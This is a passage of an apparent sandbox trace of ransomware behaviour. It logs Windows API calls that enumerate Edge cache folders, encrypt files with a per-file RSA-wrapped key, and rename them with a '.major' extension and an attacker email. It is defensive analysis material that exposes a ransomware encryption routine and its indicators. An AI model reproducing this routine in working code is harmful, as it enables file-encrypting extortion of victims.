lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.581] WriteFile (in: hFile=0x1b9c, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0300.582] SetFilePointer (in: hFile=0x1b9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0300.582] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.582] WriteFile (in: hFile=0x1b9c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.582] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.582] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.583] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.583] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3c4JLpQBymlXqBOGfjwRkmfx2vH6JeZChrCnqtpMv1/JZnTgEIhQ9HjwGnpBxX1f\no3umscStam1ULjIm+JZzHTt56EchFQ0t1AwpMwPf+vADOkYphKpKs3SC1zdgCmnq\nYxJWYJHAdixqiLi5245sXHEtcr4UsZynMwUfcbK9jcRnW80FQ0QHAWiXFmI7FxDR\nVdEn83KfsMKoQuuoeTncUDyV8b3fPtt7+A6eKiD7XsnhI9iNeurWLMAIp8hwSlb4\n1XhXCPOu2DWf/b3cKraqr/JxQZXoacI5UANDZTf5PXM4vHjoZg9FS2TSXkQgaNet\nMlnpWYj6Ag9z/AL/zSvFpA==\n", pcchString=0x2e3f9a8) returned 1 [0300.583] WriteFile (in: hFile=0x1b9c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.583] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.583] WriteFile (in: hFile=0x1b9c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.583] CloseHandle (hObject=0x1b9c) returned 1 [0300.583] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatUaCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatuacache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatUaCache\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatuacache\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.585] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IEFlipAheadCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9d06badc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9d075730, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x50b9bb26, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37528 [0300.585] SetLastError (dwErrCode=0x0) [0300.585] GetLastError () returned 0x0 [0300.585] SetLastError (dwErrCode=0x0) [0300.585] GetLastError () returned 0x0 [0300.585] SetLastError (dwErrCode=0x0) [0300.585] FindNextFileW (in: hFindFile=0x2f37528, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9d06badc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9d075730, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x50b9bb26, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0300.585] SetLastError (dwErrCode=0x0) [0300.585] GetLastError () returned 0x0 [0300.585] SetLastError (dwErrCode=0x0) [0300.585] GetLastError () returned 0x0 [0300.586] SetLastError (dwErrCode=0x0) [0300.586] FindNextFileW (in: hFindFile=0x2f37528, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9d075730, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9d075730, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9d075730, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0300.586] SetLastError (dwErrCode=0x0) [0300.586] GetLastError () returned 0x0 [0300.586] SetLastError (dwErrCode=0x0) [0300.586] GetLastError () returned 0x0 [0300.586] SetLastError (dwErrCode=0x0) [0300.586] FindNextFileW (in: hFindFile=0x2f37528, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b9bb26, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50b9bb26, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50b9bb26, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0300.586] SetLastError (dwErrCode=0x0) [0300.586] GetLastError () returned 0x0 [0300.586] SetLastError (dwErrCode=0x0) [0300.586] GetLastError () returned 0x0 [0300.586] SetLastError (dwErrCode=0x0) [0300.586] FindNextFileW (in: hFindFile=0x2f37528, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b9bb26, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50b9bb26, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50b9bb26, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0300.586] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.586] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IEFlipAheadCache\\container.dat", dwFileAttributes=0x80) returned 1 [0300.587] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IEFlipAheadCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\ieflipaheadcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba0 [0300.587] GetFileSizeEx (in: hFile=0x1ba0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0300.587] ReadFile (in: hFile=0x1ba0, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0300.588] SetFilePointer (in: hFile=0x1ba0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.588] WriteFile (in: hFile=0x1ba0, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0300.588] SetFilePointer (in: hFile=0x1ba0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0300.588] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.588] WriteFile (in: hFile=0x1ba0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.588] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.589] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.589] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.589] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="bFjppKctE+rYHzXTMUgiICVH30HgAFmE8SnxT4TGMR7HeAh7c/BvY9lmnJACDBGH\nXRcJrjfnoarG8gzUZIpKQjso2hr19KOvF0wPXDOSmAMW4MLCyg3hczRZiP8bcKXj\nCL/W/eKeJMeVCKyFOv/VHabFkNLIaxHXwEo0i3pwHLmu+c7xYMcCovlTFr/xtYzR\nLE+2beKHvEunJFMAmQv9QW8+vdxUqCS3xtdzVdg5RtaoZ+c8yeRXlKdwe6BCkgTZ\n79YAUtsMnwEOva0dZItQCeeenDnL9gy0PUIeSO5ZPb1KIyMHgGu+hzfrHI3qh5vQ\niBu+dTijIirzwUJrlIErrQ==\n", pcchString=0x2e3f9a8) returned 1 [0300.589] WriteFile (in: hFile=0x1ba0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.589] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.589] WriteFile (in: hFile=0x1ba0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.589] CloseHandle (hObject=0x1ba0) returned 1 [0300.589] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IEFlipAheadCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\ieflipaheadcache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IEFlipAheadCache\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\ieflipaheadcache\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.591] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\User\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12508dd9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12508dd9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x50b9bb26, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f370e8 [0300.591] SetLastError (dwErrCode=0x0) [0300.591] GetLastError () returned 0x0 [0300.591] SetLastError (dwErrCode=0x0) [0300.591] GetLastError () returned 0x0 [0300.591] SetLastError (dwErrCode=0x0) [0300.591] FindNextFileW (in: hFindFile=0x2f370e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12508dd9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12508dd9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x50b9bb26, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0300.591] SetLastError (dwErrCode=0x0) [0300.591] GetLastError () returned 0x0 [0300.592] SetLastError (dwErrCode=0x0) [0300.592] GetLastError () returned 0x0 [0300.592] SetLastError (dwErrCode=0x0) [0300.592] FindNextFileW (in: hFindFile=0x2f370e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12508dd9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x9367da0c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9367da0c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Default", cAlternateFileName="")) returned 1 [0300.592] SetLastError (dwErrCode=0x0) [0300.592] GetLastError () returned 0x0 [0300.592] SetLastError (dwErrCode=0x0) [0300.592] GetLastError () returned 0x0 [0300.592] SetLastError (dwErrCode=0x0) [0300.592] FindNextFileW (in: hFindFile=0x2f370e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b9bb26, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50b9bb26, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50b9bb26, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0300.592] SetLastError (dwErrCode=0x0) [0300.592] GetLastError () returned 0x0 [0300.592] SetLastError (dwErrCode=0x0) [0300.592] GetLastError () returned 0x0 [0300.592] SetLastError (dwErrCode=0x0) [0300.592] FindNextFileW (in: hFindFile=0x2f370e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b9bb26, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50b9bb26, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50b9bb26, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0300.592] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfdd27f87, ftLastAccessTime.dwHighDateTime=0x1d39f5c, ftLastWriteTime.dwLowDateTime=0x50e242f0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37728 [0300.593] SetLastError (dwErrCode=0x12) [0300.593] GetLastError () returned 0x12 [0300.593] SetLastError (dwErrCode=0x12) [0300.593] GetLastError () returned 0x12 [0300.593] SetLastError (dwErrCode=0x12) [0300.593] FindNextFileW (in: hFindFile=0x2f37728, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfdd27f87, ftLastAccessTime.dwHighDateTime=0x1d39f5c, ftLastWriteTime.dwLowDateTime=0x50e242f0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0300.593] SetLastError (dwErrCode=0x12) [0300.593] GetLastError () returned 0x12 [0300.593] SetLastError (dwErrCode=0x12) [0300.593] GetLastError () returned 0x12 [0300.593] SetLastError (dwErrCode=0x12) [0300.593] FindNextFileW (in: hFindFile=0x2f37728, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12ca25f9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12ca25f9, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0300.593] SetLastError (dwErrCode=0x12) [0300.593] GetLastError () returned 0x12 [0300.593] SetLastError (dwErrCode=0x12) [0300.593] GetLastError () returned 0x12 [0300.593] SetLastError (dwErrCode=0x12) [0300.593] FindNextFileW (in: hFindFile=0x2f37728, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50e242f0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50e242f0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50e242f0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0300.593] SetLastError (dwErrCode=0x12) [0300.593] GetLastError () returned 0x12 [0300.593] SetLastError (dwErrCode=0x12) [0300.594] GetLastError () returned 0x12 [0300.594] SetLastError (dwErrCode=0x12) [0300.594] FindNextFileW (in: hFindFile=0x2f37728, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50e242f0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50e242f0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50e242f0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0300.594] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.594] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cache\\container.dat", dwFileAttributes=0x80) returned 1 [0300.594] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba8 [0300.594] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0300.594] ReadFile (in: hFile=0x1ba8, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0300.595] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.595] WriteFile (in: hFile=0x1ba8, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0300.595] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0300.595] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.595] WriteFile (in: hFile=0x1ba8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.596] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.596] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.596] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.596] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TedOjXHFH7MKlxCGTjoY3v1VrFWOEYe0rRJTm5bzHYN5tNZ7/CaSBGGvnvpxIjNH\nIO3n1I9RROLZqlZyJoaBLCMWb9s1YfDuYQVkInRcAgMeg1FYiUBdIUkenBnJEeJi\nRbLI7vGM7FDkKzqAQDTDPR16JF3qgjESmX5G0Ykz60eznp/JThyUnvCd6Rg//Oiq\nNfQNoBkgZ4IV3HW/yHZP6ALQB7y7tySc0yFW/9quVaTJhm8/oN9jo04M7+sKICxc\nX1OfyVGVRUEHa48n1jsfstDlPB40Tsapo+VvKA2RZLZLZ8u6HMmkuTkCReRBq/rH\n0mrWg+DwvQnchTKg1HYRmg==\n", pcchString=0x2e3f9a8) returned 1 [0300.596] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.596] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.596] WriteFile (in: hFile=0x1ba8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.596] CloseHandle (hObject=0x1ba8) returned 1 [0300.596] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cache\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cache\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.740] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33b70a8f, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x50e242f0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f371a8 [0300.740] SetLastError (dwErrCode=0x0) [0300.740] GetLastError () returned 0x0 [0300.740] SetLastError 